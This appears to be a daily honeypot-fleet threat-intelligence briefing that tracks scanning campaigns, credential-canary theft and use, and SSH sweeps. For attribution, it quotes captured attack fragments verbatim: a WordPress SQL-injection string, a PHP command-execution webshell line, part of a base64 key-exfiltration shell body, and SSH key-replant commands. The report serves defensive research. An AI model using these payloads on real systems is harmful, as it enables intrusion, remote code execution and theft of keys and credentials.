FLUX FLEET — INTEL BRIEFING №56

Period: 2026-10-18 07:35 – 2026-10-19 07:35 UTC (24h, day 54 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 54-day baseline, use side verified against Tracebit alert logs; hostile POST bodies are quote-level facts)

BLUF

A census wave from five operator hosts drove the day's volume: sponge-01-ts +167% (10,373 events) and netcup-ts +57% (6,486), with two unrelated hosts — 85.239.151.82 (Interserver US) and 93.123.109.228 (Techoff Srv BG) — running one identical 284-path AI-credential census, Bucklog rotating three fresh census IPs, and a five-IP Tc Datacenter relay (45.138.12.x) that escalated from census to exploitation: captured UNION SELECT SQLi with an md5('wp2shell1337') oracle and multipart PHP webshell uploads. LIBREDTAIL-KIT ran its widest php-cgi RCE arm on record — 12 IPs across 6 sensors with a byte-identical OpenSSH-key-exfil body. MEGA-DICTIONARY returned on 31173 Services AB and its wordlist grew +66 paths, the largest growth on record. The credential funnel stayed narrow but live: 46 credentials to 30 collectors, 10 used (81 events, every success sts:GetCallerIdentity), 137.23.38.53 self-validated a third consecutive window, and WebSiphon's AWS-side host 185.209.196.169 minted directly on ru-edge — a use-side IP joining the mint side. WP-FORM-BRUTE's ai-devbox-1 pool tripled to 233 IPs (one credential POST each) and crossed the armed 200-pair growth alarm.

Key Judgements

1. Census tooling circulates as artifacts, not crews. Two hosts on unrelated ASNs fetched byte-identical 284-path wordlists (284/284 overlap); Bucklog's census arm rotated to three fresh IPs in one window; the Tc Datacenter /24 fielded five IPs in a relay; MEGA-DICTIONARY's shared wordlist grew +66 paths and still found buyers. Hosting changes per window; the lists and kits persist. (High confidence — the path-set anti-joins are exact; who shares the lists between operators remains unmeasured.)
2. The Tc Datacenter run crossed from census to exploitation. 45.138.12.22 and .27 POSTed working exploit stages against the decoys: wp-batch UNION SELECT SQLi, PHP webshell uploads (<?php if(isset($_GET['c'])){system($_GET['c']);}…), and a download_backup webshell command. (High confidence on the mechanics — bodies captured verbatim. Moderate on intent: every stage landed on fake 200s, so operator-side success perception is unmeasured.)
3. The mint→use funnel is now self-serve at the margin. 10 of 46 credentials drew AWS calls; every success was GetCallerIdentity; the only in-window new use was one self-validation (137.23.38.53) and one single-call user (85.121.176.200). №55's 23-operation sweep kept working seven l9scan hoards past the flux window. The notable change is positional: 185.209.196.169 — WebSiphon's AWS-side user — itself collected a canary from ru-edge. (High confidence on the facts. Moderate on what the flip means: staging for direct theft versus coincidence of one visit is indistinguishable from one mint.)
4. WP-FORM-BRUTE scaled 4.4× in pool size and crossed its armed alarm. 233 ai-devbox-1 credential POSTs came from 233 distinct IPs, one POST each, 223 distinct bodies — the 200-pair growth alarm fired for the first time since it was set in №14. The wp-admin leg collapsed to 1 IP. (High confidence — counts are direct; the repeat, not this window, sets the alarm state.)

Active Campaigns (day 54 status)

CVENGINE-KIT (wp SQLi + PHP webshell-upload kit) ⚠ NEW (Hostile, active)

• Actors: 45.138.12.22 + 45.138.12.27 (Tc Datacenter Limited LT), light legs from 45.138.12.24 (26 ev, sponge) and 45.138.12.65 (91 ev, netcup); the /24's l9explore runner 45.138.12.51 (264 ev, 3 sensors) worked the same window. Relay timing: .22 ran sponge-01-ts 16:23–00:28 EDT (1,024 ev / 419 paths), .27 ran sponge 21:24–00:08 (672 ev / 419 paths) and netcup-ts 23:14–23:30 (653 ev / 419 paths).
• TTPs: 419–513-path census under forged Chrome/137 (and Chrome/128 on .27) plus a real exploit battery, captured verbatim: wp-batch multiplex {"requests":[{"path":"/wp/v2/posts?author__not_in=1) UNION SELECT 1,2,3,4,5,6,md5('wp2shell1337'),8,9,10,11,12,13,14,15,16,17,18,19,20-- -","method":"GET","headers":{},"body":""}]}; multipart uploads ------CVEngineBoundarycv9c7408e038 … filename="cv9c7408e038.php" … <?php if(isset($_GET['c'])){system($_GET['c']);}else{ec… (three distinct cv*.php names); webshell command action=download_backup; wp-admin-redirect (36–72 each) + wp-login-probe (44 each) legs that own both nodes' wp spikes (sponge 84/88, netcup 42/44). .27 lineage: KITEWORKS-CRAWL №43 and the l9explore block.
• Assessment: the first fleet kit this cycle whose POST stages seek execution, not only files. The decoys answered every stage at zero cost (fake 200s, tarpit 302s); whether the operator believed any stage succeeded is unmeasured. The CVEngineBoundary prefix and wp2shell1337 md5 marker are the fingerprints; a second node or a return POST is the promotion signal to standing threat.

CENSUS-284 (shared 284-path AI-credential census) ⚠ NEW (Hostile, active)

• Actors: 85.239.151.82 (Interserver, Inc US, firehol2) and 93.123.109.228 (Techoff Srv Limited BG) — 1,239 + 1,220 events on sponge-01-ts, .228 also on netcup-ts (915 ev, 19:40–19:45 UTC). One operator IP per host; identical 284-path sets (284/284 overlap), same single forged UA Chrome/137.0.0.0 Windows.
• TTPs: 7 trap families, GET-only, 0 mints; openapi/swagger surface hits (/api/docs/, /docs/, /v3/api-docs → openapi-spec-json-skeleton 200, 16 hits each — the sponge 25× spike) wrapped around AI/cloud credential paths first seen this window: /openai.yml, /google-ai.yml, /vertex-ai-credentials.json, /mcp.yaml, /config/secrets.js, /config/hubspot.yml, /hr/, /webroot/.env, /.config/gcloud/configurations/config_default.
• Assessment: the MEGA-DICTIONARY marketplace model applied to config census — one wordlist, unrelated buyers. Watch for a third host fetching the same 284 paths and for any mint; the wordlist is the identity, not the IPs.

BUCKLOG-KIT (census arm on rotating residential-class hosts) ⟳ (Hostile, active)

• Actors: three fresh IPs in one window, one per node: 185.177.72.70 (sponge-01-ts, 1,430 ev / 1,006 paths / 31 families, curl/8.7.1, 03:22–03:40 UTC), 185.177.72.69 (lauterbourg-01-ts, 203 ev / 11 families), 185.177.72.17 (canary-farm-1, 34 families). The census arm's registered host .64 stayed absent; the RCE arm (.50) was idle.
• TTPs: .17 probed /wp-json/gravitysmtp/v1/tests/mock-data then minted 3 at /.env [issued] before its census; .70 ran gitconfig → airflow/ansible/actuator → GCP/AI credential paths (/gcp-credentials.json, /gcp-keys.json, /openrouter-config.ini, /fireworks_config.yml) with openapi skeletons (200) and tarpit rides.
• Assessment: the kit's operator now rotates census hosts per node per window and collects on touch — .17's 3 canaries are hostile-held inventory (0 use so far). IP rotation defeats per-IP watching; the Bucklog /24 and the curl/8.7.1-plus-census shape are the trackers.

LIBREDTAIL-KIT (phpunit/php-cgi RCE chain) ⟳ — WIDEST RCE ARM ON RECORD (Hostile, active)

• Actors: cluster 7e61a9500d8b — 12 IPs / 532 events on 6 sensors, one to three IPs per node: control-1 102.244.97.185; netcup-ts 213.165.53.216, 194.87.216.201, 124.158.13.141, 103.159.51.70; ru-edge-1 180.181.122.134, 188.246.240.3, 152.32.225.117; frantech-ts 107.150.123.48; canary-farm-1 120.46.47.16 (+ 173.183.178.122, 3 ev); sponge-01-ts 139.198.123.80.
• TTPs: the unchanged chain — cgi-traversal-rce-command on /bin/sh → cmd-injection-apache-cgi-shell → cmd-injection-php-cgi-rce, with 5 POSTs per IP carrying the byte-identical base64 key-exfil body (shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcC…")) — cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----…). 0 mints. The /bin/sh dropper stage produced no captured body for the eighth consecutive cycle.
• Assessment: a commodity RCE-verify kit at its largest deployment (prior peak: 13 IPs in №52's mixed cluster). The fleet's fake webshells keep feeding it; the dropper host (217.60.0.0/16 class in past captures) stays unmeasured.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — NARROW, SELF-SERVE, ONE POSITIONAL FLIP (Hostile, active)

• Actors: mint side 46 credentials to 30 collector IPs (digest 50 issued rows; Tracebit dedupe). Use side: 137.23.38.53 (self-validated 1 of its 2 farm canaries — third consecutive self-use window); 85.121.176.200 (NEW — 1 aidev canary, one GetCallerIdentity); carryover from №55: 168.222.244.156's 23-op sweep kept working 7 l9scan hoards past the flux cutoff (Tracebit-only witness for 138.68.82.23, 147.182.200.94, 157.230.19.140, 159.223.132.86, 164.90.228.79, 167.71.175.236, 64.23.218.208). 185.209.196.169 minted 1 on ru-edge-01 (05:00 UTC) — a use-side host on the mint side.
• TTPs: outcomes 42 success / 39 failure; all 42 successes were sts:GetCallerIdentity; denial leaders ListTables×6, DescribeDBInstances×5, DescribeAddresses×5, ListApplications×5, ListSecrets×4. No provisioning-shaped calls this window. Hoards: 45.148.10.171 6 credentials on 4 sensors (47/6d, 24th window), 213.209.159.175 4 on control (16/6d), 213.209.159.154 2 on farm (6/6d), 45.138.12.51 2 (8/6d), 185.252.234.32 2 on control, 195.178.110.137 2 on farm (Techoff /24 sibling of census runner 195.178.110.22).
• Assessment: bulk inventory sweeps are gone this window; what remains is operators validating their own take. The DenyAll policy and per-canary principal again held at zero effective permission. The 185.209.196.169 flip is the number to watch: if that credential draws AWS calls, the use-side operator is now also harvesting directly.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — CONTRACTED, RUNNERS STILL MINT (Borderline, active)

• Actors: the 27-family journey ran on 11 runners across farm/aidev/control/ru-edge — digest clusters 850993125b15 (farm, 5 IPs / 205 ev) and b07c7bb207b4 (aidev, 4 IPs / 164 ev), plus control (206.81.24.227, 64.227.70.2) and ru-edge (64.226.65.160, 157.245.36.108). Tarpit-only sibling 4b4cc0ece037 16 IPs / 112 ev. l9explore runner 45.138.12.51 (l9explore/1.2.2 + l9tcpid/v1.1.0 UAs) 264 ev on 3 sensors, 2 mints (8/6d). In-window minting runners: ~12 at 1 each, incl. 134.122.28.88, 138.68.144.227, 146.190.63.48/.248, 146.190.242.161, 157.245.105.107, 167.71.81.114, 206.81.24.227, 64.227.70.2.
• TTPs: the unchanged journey (tarpit → WebLogic console → Confluence → WHM/cPanel → docker-registry catalog/tags/manifests); ~1 mint per runner; downstream AWS validation continues from the №55 sweep (see CREDENTIAL-DRAIN).
• Assessment: the wave contracted ~50% by IP count but the runner base still mints ~1 canary each, and the hoards keep drawing AWS calls after the window closes. Borderline brand, hostile economics.

MEGA-DICTIONARY (shared IoT dropper-URL wordlist replay) ⟳ — WORDLIST GREW +66, A RECORD (Hostile, active)

• Actors: 193.32.248.130 (31173 Services AB DE, ipsum:2) — frantech-ts 13,678 events, 04:18:44–04:20:06 UTC 10-19 (1 m 22 s), 13,678 distinct paths, 0 POSTs, 0 mints. Third 31173-host on the wordlist (after 185.213.155.227 №30, 193.32.126.191 №34).
• TTPs: hundreds of rotating IoT/router/NAS UAs (TP-Link, ASUS, Ubiquiti, Buffalo, WD, RouterOS, RomPager…). Anti-join against all prior frantech history: 13,612 of 13,678 (99.89%) seen before — 66 new paths, the largest growth on record (№34 was +6): a new /l_*.sh dropper family (/l_telnet.sh, /l_thinkphp.sh, /l_wifiweb.sh, /l_xwiki.sh, /l_spark.sh, /l_ssh.sh, /l_videoflow.sh, /l_weaver.sh, /l_wifi.sh) plus /str_x86_64, /vb.sh, /samsung, /systemd-ntpd, /ttyd.sh, /vc.sh and more (15 of 66 sampled). The replay is 94% of the node's window.
• Assessment: the artifact is under active development again — a maintained dropper menu, not a frozen relic. Track the anti-join delta per replay; a second operator fetching the grown list is the adoption signal.

WP-FORM-BRUTE (distributed wp-login credential POSTs) ⟳ — 200-PAIR ALARM CROSSED (Hostile, active)

• Actors: ai-devbox-1 pool — 233 distinct IPs, 233 wp-login-credentials POSTs, one per IP, 223 distinct bodies; the wp-admin leg 09d3f351065c collapsed to 1 IP / 2 events. netcup-ts and sponge-01-ts wp legs belong to CVENGINE-KIT, not this pool.
• TTPs: unchanged — probe → credential POST → probe, forged modern Chrome UAs, 0 mints; per-IP volume stays at one POST (low-and-slow at pool scale).
• Assessment: the №14 alarm threshold (200 pairs) fired for the first time. One POST per IP suggests residential-egress rotation built for rate-limit evasion; a repeat, not a one-off, is what the alarm verdict needs.

OMEGA-SWEEP (fleet-class config census) ⟳ — ESCALATION TO 106 FAMILIES (Hostile, active)

• Actors: 79.124.58.82 (Tamatiya EOOD BG) — ai-devbox-1, 450 events / 450 paths / 106 families in one minute (09:52 UTC), forged Googlebot/2.1, 1 mint at an env path (5/6d). One short of the fleet's 107-family record. Pool walker 94.154.43.99 (OMEGA's pool /24) touched all 8 sensors — 18 events, bare Mozilla/5.0 and empty UA — the pool block's first fleet-wide pass since №16.
• TTPs: the registered census (env variants, aws/gcp/azure/kube/terraform, fake-git, ssh-key paths); the aidev ssh-private-key-error 3.3× spike is 27 of its events.
• Assessment: the standing crew's operator is back at record scale and minting again; the pool block is moving in parallel. Watch for the /46 census block's return and any use of the .82 hoard (5/6d).

GOWEB-PENTEST (self-labeled Go phpMyAdmin hammer) ⟳ — TWO OPERATORS, ONE WINDOW (Hostile, active)

• Actors: 133.18.142.12 and 177.124.93.52 — both on control-1, 151 phpmyadmin-login GETs each (on /db/index.php and /mysql-admin/index.php respectively). Nineteenth and twentieth operator IPs; first control double-header.
• TTPs: unchanged — honest Go Web Pentest Tool UA, one phpMyAdmin login path each, GET-only, 0 POSTs, 0 mints.
• Assessment: the decoy list keeps circulating to new operators; with EMPERORS-KIT's 22 GETs the trio owns control's phpmyadmin-login 3.0× spike (324). A captured credential body is still unseen in 12 windows.

EMPERORS-KIT (phpunit webshell + adminer kit) ⟳ — RETURNED (Hostile, active)

• Actors: 150.241.66.127 (Kyonix Networks US; the registered operator) — 80 events on canary-farm-1 + ai-devbox-1 + control-1, first appearance since №52.
• TTPs: 22 phpmyadmin-login GETs across 11 admin paths on control (the remainder of the node's spike); 5-UA rotation incl. python-requests/2.28.1. The kit's adminer/phpunit stages did not fire this pass.
• Assessment: the operator survived two idle windows; the repo-liveness check (its copy() dropper targets a public repo) is still not observed — watch for the phpunit verify on a return.

WP-ENUM (WordPress plugin readme.txt census) ⟳ — THIRD GENERATION CONTINUES (Hostile, active)

• Actors: 45.156.129.133 + 45.156.129.46 (the original 45.156.129.x block) — ru-edge-1 + frantech-ts, 152 events combined.
• TTPs: the registered shape — plugin readme.txt census (elementor, wp-fastest-cache, code-snippets, kirki…) under the bare stripped-Chrome/123 UA, plus / tarpit passes; 0 mints.
• Assessment: low-cost inventory of decoy plugin surfaces; a second consecutive window for the 129.x generation would establish a standing cluster.

Standing actors (persistence check)

• 45.148.10.171 — twenty-fourth consecutive minting window: 6 credentials on 4 sensors (9 issued rows), hoard 47/6d, zero AWS use throughout, 18 events across all 8 sensors under the antique forgery set (Opera 9.64, Android 2.2, Links 2.1pre15…). The fleet's longest-running collector.
• 204.76.203.18 (Pfcloud) — day 28+ on control-1: 1,988 of 3,563 node events (56%), ipsum:2. The /24 added a second behavior: 204.76.203.219 ran a light 8-sensor walker (23 ev, forged Edg/90).
• Bochum softsec crawler (185.73.23.161 finn + .162 goose) — seventh window, benign-listed: netcup-ts 4,002 of 6,486 events (62%), sponge-01-ts 4,177 of 10,373 (40%).
• TOKEN-CRAWLER pool 45.198.224.x — .124 (104 ev) and .125 (72 ev) touched all 8 sensors again; 0 mints.
• 45.138.12.51 (Tc Datacenter) — REGISTRY-HUNT's l9explore runner, now 8/6d mints; its /24 ran the CVENGINE-KIT relay (above) — one block, two kits.
• Feo Prest pair — 213.209.159.175 4 mints on control (16/6d) and 213.209.159.154 2 mints on farm (6/6d).
• 137.23.38.53 — second window, expanded: 808 events across frantech (173), netcup (367), canary-farm (268) — openapi/whm/webshell-sweep/graphql-playground census, minted 1 on farm, self-validated again. Promotion trigger: a third minting window or a second minting sensor makes it a campaign.
• Crossnode collectors: 104.251.180.112 (2 mints, 3 sensors, Go-http-client/1.1), 206.81.24.227 (REGISTRY-HUNT runner, 3/6d), 79.124.58.82 (5/6d), 209.99.188.170 (returned on lauterbourg, 36 ev — №55's absent collector pair), 93.152.221.52 (5 sensors, single Chrome/131 — the 93.152.221.x walker family).
• Benign fixed-cadence probers — 89.248.172.33 (441 ev, 7 sensors), 80.82.77.202 (423, 7), 34.140.3.155 (27, 7), Censys-class 71.6.134.236 / 71.6.155.70 / 71.6.232.28, 195.182.16.23, 3.129.187.38 (visionheight.com/scan), and NEW 75.127.6.2 — honest UA zmap-proxy-probe/1.0, 65 events across all 8 sensors (~8 each, shallow): benign-shape, report only.

Absent or paused

METADATA-HUNT named runners (third consecutive idle window — no __aws_leak_probe/@fs/.mcp.json markers), CF-FRONTED CREDSWEEP, CONFIG-SWEEP (fifth absence), WEBSIPHON scanner (no second sighting; its use IP's mint is under CREDENTIAL-DRAIN), INFOCREST-KIT (37.19.200.138 absent after №55), KEYDROP-SCANS (first miss after promotion), BUCKLOG RCE arm .50, ATLASSIAN-REST-PROBE, XMLRPC-BRUTE (silent), NIGHTAGENT (eleventh), CRUSADER-SWEEP, MEVSPACE-GITWALK, ZKILLU-GITWALK, SONICWALL-VPN-PROBE, PROTON-CENSUS, ORACLE-SWEEP standalone, CONFIGBUNDLE-SWARM, KITEWORKS-CRAWL's Google BE pair, LLM-ENDPOINT-PROBE, AKAMAI-VHOST-SCAN, SI-CENSUS 102.220.161.x, MEGA-DICTIONARY's №55 hosts (138.199.60.3, 146.70.200.3), GO-SPRAY-SWEEP at the network layer (below the 5-session floor).

Network-layer recon (Arkime) — 2026-10-18 07:35:00 → 2026-10-19 07:36:11 UTC

Fingerprint field ssh.hassh, destination port 22 · 112,491 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 90,592, frantech-ts 34,051, sensor:frantech-ts 34,051, bahrain-sponge-01-ts 32,544, sensor:bahrain-sponge-01-ts 32,544, contabo-sponge-01-ts 12,321

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,088 sessions from 329 source IPs across 153 networks in 52 countries, port 22, avg 4,907 B/session. Networks: AS150436 Byteplus Pte. Ltd., AS132203 Tencent Building, Kejizhongyi Avenue, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS8075 Microsoft Corporation, AS16276 OVH SAS. Busiest sources: 69.5.7.218, 121.242.232.147, 156.239.236.204, 43.129.193.109, 163.7.6.41. Last 7 days: 10-13 283 IPs, 10-14 336 IPs, 10-15 352 IPs, 10-16 281 IPs, 10-17 257 IPs, 10-18 324 IPs, 10-19 98 IPs.
• 0a07365cc01fa9fc82608ba4019af499 — client banner ssh-2.0-go, 25,906 sessions from 92 source IPs across 33 networks in 19 countries, port 22, avg 5,089 B/session. Networks: AS209854 Cyberzone S.A., AS205089 Alfahost LLC, AS137095 Dm Lot Infotech Solutions Private Limited, AS208137 Feo Prest SRL, AS213790 Limited Network LTD. Busiest sources: 103.151.186.22, 77.239.124.143, 77.239.124.147, 109.160.32.127, 109.160.32.173. Last 7 days: 10-13 97 IPs, 10-14 95 IPs, 10-15 94 IPs, 10-16 80 IPs, 10-17 129 IPs, 10-18 95 IPs, 10-19 24 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. Both flagged sweeps are registered campaigns on day 30. LIBSSH-MASSSWEEP (f555226d…) widened to 329 source IPs (+61 day-over-day) across 153 networks — its widest spread since the 422-IP peak; 10-19 partial-day counts (98 IPs) are censored. GO-SSH-SWEEP (0a07365cc01f…) contracted from its record: 92 IPs (−32), 25,906 sessions (−3,310), still the fleet's top fingerprint on five nodes. GO-SCATTER-SWEEP (16443846184e…) fell back below the dispersed threshold — 36 IPs / 23 networks in single-source shape after the №54–№55 dispersed pair. GO-SPRAY-SWEEP (06ff3615a51b…) has no row this window — its first miss after №55's re-cross, consistent with the bursty on/off pattern (№28, №32, №55). Unnamed standing fingerprints: 4e066189c3bb… (control-1's top, 17,087 sess / 14 IPs, 15th day), e37f354a101a… (frantech's top, 24,813 sess / 6 IPs, +8,130), 2ec37a7cc8da… (2,341 / 19), and 084386fa7ae5… (45 IPs / 5 networks; spread history 50→57→72→45). No new fingerprints; 40 standing. Arkime tag-label drift (bahrain-/contabo-sponge labels) persists — ops-repo item, not a briefing action.

Canary credentials

Summary

10 Tracebit alert(s) fired in the window (81 use events across 10 credentials). Fleet sensors minted 46 credentials to 30 collector IPs; 10 credential(s) reached AWS. Use outcomes: 42 success, 39 failure. Denied operations: ListTables×6, DescribeDBInstances×5, DescribeAddresses×5, ListApplications×5, ListSecrets×4. 42 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 45.148.10.171: 47 mints, 2026-10-12 15:01 → 2026-10-19 04:59
• 35.253.66.111: 41 mints, 2026-10-13 10:37 → 2026-10-13 10:37
• 213.209.159.175: 16 mints, 2026-10-12 19:47 → 2026-10-18 15:22
• 87.120.104.29: 12 mints, 2026-10-13 11:39 → 2026-10-13 19:31
• 2a02:c207:2350:9697::1: 11 mints, 2026-10-12 08:22 → 2026-10-12 17:08
• 140.245.97.208: 9 mints, 2026-10-13 15:46 → 2026-10-16 19:43
• 169.58.180.111: 9 mints, 2026-10-12 08:22 → 2026-10-12 17:08
• 173.249.253.116: 8 mints, 2026-10-12 23:08 → 2026-10-13 07:24
• 194.59.31.39: 8 mints, 2026-10-14 13:54 → 2026-10-14 19:54
• 45.138.12.51: 8 mints, 2026-10-12 12:58 → 2026-10-19 00:13
• 103.214.20.135: 7 mints, 2026-10-14 01:15 → 2026-10-14 05:45
• 167.99.79.44: 7 mints, 2026-10-12 17:35 → 2026-10-12 17:54
• 102.220.161.139: 6 mints, 2026-10-12 09:24 → 2026-10-12 09:59
• 109.205.176.10: 6 mints, 2026-10-12 15:06 → 2026-10-18 04:42
• 206.209.210.3: 6 mints, 2026-10-12 16:58 → 2026-10-15 11:17
• 208.84.100.218: 6 mints, 2026-10-12 15:41 → 2026-10-12 17:51
• 213.209.159.154: 6 mints, 2026-10-15 09:15 → 2026-10-19 06:24
• 79.124.58.82: 5 mints, 2026-10-14 18:50 → 2026-10-18 09:52
• 102.220.163.155: 4 mints, 2026-10-15 10:21 → 2026-10-16 22:57
• 146.190.63.248: 4 mints, 2026-10-13 20:08 → 2026-10-18 20:39
• 157.245.105.107: 4 mints, 2026-10-12 20:41 → 2026-10-18 20:38
• 159.89.12.166: 4 mints, 2026-10-12 20:41 → 2026-10-17 20:23
• 165.22.34.189: 4 mints, 2026-10-14 20:11 → 2026-10-17 20:29
• 167.172.232.142: 4 mints, 2026-10-12 19:55 → 2026-10-17 20:23
• 167.71.81.114: 4 mints, 2026-10-12 20:03 → 2026-10-18 20:27
• 37.60.226.187: 4 mints, 2026-10-14 07:08 → 2026-10-14 16:42
• 64.227.70.2: 4 mints, 2026-10-12 20:30 → 2026-10-18 20:10
• 80.94.95.211: 4 mints, 2026-10-13 20:10 → 2026-10-15 03:19
• 104.251.180.112: 3 mints, 2026-10-17 14:48 → 2026-10-19 04:27
• 104.64.127.170: 3 mints, 2026-10-17 07:08 → 2026-10-17 11:29
• 134.122.28.88: 3 mints, 2026-10-14 20:03 → 2026-10-18 20:27
• 167.99.182.39: 3 mints, 2026-10-12 20:42 → 2026-10-17 04:08
• 172.239.158.26: 3 mints, 2026-10-14 06:36 → 2026-10-14 11:53
• 185.177.72.17: 3 mints, 2026-10-18 22:42 → 2026-10-18 22:42
• 206.81.24.227: 3 mints, 2026-10-16 19:01 → 2026-10-18 20:38
• 209.38.208.202: 3 mints, 2026-10-16 20:15 → 2026-10-17 02:37
• 209.38.248.17: 3 mints, 2026-10-15 19:01 → 2026-10-16 21:02
• 209.99.189.217: 3 mints, 2026-10-16 03:02 → 2026-10-16 11:19
• 46.101.111.185: 3 mints, 2026-10-12 20:06 → 2026-10-15 20:32
• 92.38.172.10: 3 mints, 2026-10-16 23:16 → 2026-10-17 07:55

Attribution notes. The in-window use is self-serve: 137.23.38.53 validated its own farm canary (Python-urllib class, the funnel's established self-use pattern — №55, now repeated), and 85.121.176.200 drew one GetCallerIdentity from an aidev canary minted at 19:04. The seven outside-flux rows are №55's l9scan hoards still being worked past the cutoff — Tracebit is the only witness there. 185.209.196.169's ru-edge mint is a mint-side row: no AWS use of it is observed yet.

Fleet Observations

Canary economics. 50 digest issued rows; 46 credentials to 30 collectors after Tracebit dedupe; 10 credentials reached AWS (42 GetCallerIdentity successes, 39 denied operations). Mint failures none — no 400s and no 401s this window; census bursts stayed under the pacing that drove past rejection waves. All-time issued-row counter: 2,524 (visuals run). Per-node mints: canary-farm-1 16 / 11 IPs, ai-devbox-1 14 / 11, control-1 14 / 9, ru-edge-1 6 / 6.

Attribution and TLS posture. XFF counters: any 2,432 / multi-entry 0 / ignored-internal 1,826 / single-entry mismatch 0. The №55 Cloudflare-edge forgery burst did not recur, and no direct-connection XFF forgery appeared — the counters this pipeline watches stayed at zero where they belong.

Volume moves and causes. sponge-01-ts +167% (10,373): the census wave — 85.239.151.82 (1,239) + 93.123.109.228 (1,220) + Bucklog .70 (1,430) + 45.138.12.22 (970) + .27 (672) = 5,531 events (53%), plus Bochum 4,177 (40%). netcup-ts +57% (6,486): Bochum 4,002 (62%) + Techoff .228 (915) + CVENGINE .27 (653). frantech-ts +0% (14,612): one MEGA-DICTIONARY replay (13,678, 94% of the node) versus two last window. control-1 −3% (3,563): Pfcloud loop 1,988 is base load; the phpmyadmin spike (324) replaced №55's census barrage. canary-farm-1 −35% (1,367): INFOCREST-KIT (106), the KEYDROP pair, and №55's larger REGISTRY-HUNT farm cluster (246→205) all absent or smaller; Bucklog .17's mint run did not replace them. ru-edge-1 −41% vs 7-day (896): no census wave; №55's WebSiphon burst (380) absent. ai-devbox-1 −6% (1,666). lauterbourg-01-ts −32% (1,028): the Atlassian cluster (280) and INFOCREST (180) absent; replaced in part by Bucklog .69 (203) and unattributed GCP walkers 34.78.64.142 (142) and 34.34.160.116 (119).

Result-tag spike attribution. All 14 spikes have causes: ai-devbox-1 wp-login-credentials 233 (5.6×) = WP-FORM-BRUTE's 233-IP pool; ai-devbox-1 ssh-private-key-error 31 (3.3×) = 79.124.58.82's census (27) + 104.251.180.112 (4). control-1 phpmyadmin-login 324 (3.0×) = GOWEB-PENTEST's two operators (151+151) + EMPERORS-KIT (22). netcup-ts not-handled 1,475 (4.2×) = the census wave (.228 843 + .27 390 + .65 91 + .51 78 + others); netcup-ts wp-admin-redirect 42 (inf) = 45.138.12.27. sponge-01-ts not-handled 4,454 (10.9×) = the same wave (.82 1,137 + .228 1,124 + .70 907 + .22 682 + .27 403); openapi-spec-json-skeleton 50 (25×) = .228 + .82 (16 each) + Bucklog .70; wp-login-probe 88 (12.6×) and wp-admin-redirect 84 (inf) = 45.138.12.22/.27; webshell-probe 80 (3.9×) = 45.138.12.22/.27 upload battery; webshell-sweep-observed 22 (3.2×) and webapp-form-profile 25 (6.2×) = same kit class; tarpit 141 (3.3×) + tarpit-disconnect 128 (4.6×) ride the census wave.

control-1 discovery velocity. Day 36 (first event 2026-09-12 07:59 UTC): 3,563 events from 119 unique IPs. The unique-IP count sits inside the 84–157 band for a 28th consecutive window; no new discoverers.

Digest quirks. First-seen timestamps cluster at the sync-arrival minute (03:16:13) across sensors — inventory, not timeline (sponge's AI-credential paths belong to the .82/.228 passes hours earlier). The fleet-24h histogram buckets still carry EDT times under the hour_utc header (№49 quirk); this briefing quotes sensor-log timestamps converted to UTC. Spot-query totals run slightly above digest cells (fleet-24h rerun after the digest: frantech 14,684 vs 14,612) — aligned-window drift between digest run time and query time, expected. Top-talker totals exclude tarpit-disconnect pairing rows (№47a quirk).

Fleet-side changes this cycle. flux-visuals.py CHAINS: CVENGINE-KIT and CENSUS-284 added; LIBREDTAIL-KIT and EMPERORS-KIT → active/recurring; WEBSIPHON, KEYDROP-SCANS, GOWEB-PENTEST, OMEGA-SWEEP, REGISTRY-HUNT, CREDENTIAL-DRAIN, MEGA-DICT, WP-FORM-BRUTE, BUCKLOG-KIT notes updated for №56. TALKER_CAMPAIGNS gained 16 mappings (193.32.248.130, the Bucklog trio, both GOWEB operators, both CENSUS-284 hosts, the 45.138.12.x kit IPs, 85.121.176.200, 137.23.38.53). Visuals rerun twice after the CHAINS edits: final file flux-fleet-visuals-2026-10-19-r3.html. recon-names.tsv unchanged — both flagged fingerprints were already registered. Campaign registry updated (CVENGINE-KIT, CENSUS-284 registered; GO-SPRAY-SWEEP miss and GO-SCATTER-SWEEP recontraction logged).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 410 sources sent credentials → 280 got a shell (68%) → 235 ran a command (84% of shell-getters, 57% of sources). Event level: 34,481 credential attempts → 5,006 accepted logins → 6,723 commands (134% of accepted logins go on to run something). Telnet (commodity IoT botnets): 1,036 attempts.

Twenty-ninth static command window. New commands: 0 of 50 distinct. The recurring set holds: .ssh replant pair (cd ~; chattr -ia .ssh; lockr -ia .ssh 905 events / 169 IPs; key-replace chain 796 / 151), the hardware-survey battery, and the PATH-export recon pairs. One volume shift: 118.142.17.190 ran echo -e "\x6F\x6B" 2,370 times — 35% of all commands in the window from one source (an "ok" loop from a single operator or a stuck script; the command itself is not new). Recurring commands are context, not news.

